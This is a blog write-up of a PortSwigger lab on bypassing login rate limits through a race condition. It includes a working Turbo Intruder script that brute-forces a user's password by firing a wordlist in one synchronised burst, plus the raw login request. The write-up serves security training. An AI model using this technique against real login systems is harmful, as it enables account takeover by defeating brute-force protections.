Bypassing rate limits via race conditions | August 31, 2023
Table of Contents
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Bypassing rate limits via race conditions! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
This lab’s login mechanism uses rate limiting to defend against brute-force attacks. However, this can be bypassed due to a race condition.
To solve the lab:
- Work out how to exploit the race condition to bypass the rate limit.
- Successfully brute-force the password for the user
- Log in and access the admin panel.
- Delete the user
You can log in to your account with the following credentials:
You should use the following list of potential passwords:
123123 abc123 football monkey letmein shadow master 666666 qwertyuiop 123321 mustang 123456 password 12345678 qwerty 123456789 12345 1234 111111 1234567 dragon 1234567890 michael x654321 superman 1qaz2wsx baseball 7777777 121212 000000
- Solving this lab requires Burp Suite 2023.9 or higher. You should also use the latest version of the Turbo Intruder, which is available from the BApp Store.
- You have a time limit of 15 mins. If you don’t solve the lab within the time limit, you can reset the lab. However, Carlos’s password changes each time.
In here, we can view blog posts.
We can try to brute force user
After some testing, I found that there’s a rate limit. After 3 wrong login attempts, we’ll be locked out:
Burp Suite HTTP history:
When we clicked the “Log in” button, it’ll send a POST request to
/login, with parameter
Let’s test for race condition!
After rate limited is gone, send the login request to Burp Suite’s Repeater 5 times, group them together, select “Send group (parallel)”, and send it:
Nice! No more rate limiting! That being said, the login function is vulnerable to race condition.
Now, we can use “Turbo Intruder” to brute force
carlos’s password with bypassing rate limiting via race condition:
In the Python editor, choose the
examples/race-single-packet-attack.py Python template:
In order to make it brute force user
carlos’s password, we’ll need to modify the template to:
def queueRequests(target, wordlists): # if the target supports HTTP/2, use engine=Engine.BURP2 to trigger the single-packet attack # if they only support HTTP/1, use Engine.THREADED or Engine.BURP instead # for more information, check out https://portswigger.net/research/smashing-the-state-machine engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) wordlist = ['123123', 'abc123', 'football', 'monkey', 'letmein', 'shadow', 'master', '666666', 'qwertyuiop', '123321', 'mustang', '123456', 'password', '12345678', 'qwerty', '123456789', '12345', '1234', '111111', '1234567', 'dragon', '1234567890', 'michael', 'x654321', 'superman', '1qaz2wsx', 'baseball', '7777777', '121212', '000000'] # the 'gate' argument withholds the final byte of each request until openGate is invoked for password in wordlist: engine.queue(target.req, password, gate='race1') # once every 'race1' tagged request has been queued # invoke engine.openGate() to send them in sync engine.openGate('race1') def handleResponse(req, interesting): table.add(req)
%s string formatting placeholder in the
password POST parameter in the HTTP request:
POST /login HTTP/2 Host: 0a8700c60427bda288e290c7001500b5.web-security-academy.net Cookie: session=4EAp3UZ022KeX6D50w7FESJoixZtTh5s csrf=dL20kaRyH4RJaFOtxT5KbhLdJtVIZYwe&username=carlos&password=%s
Then launch the attack:
In here, we found that there’s a HTTP status code “302 Found”, which means this request has the correct password!
Finally, login as
carlos! Let’s delete it!
What we’ve learned:
- Bypassing rate limits via race conditions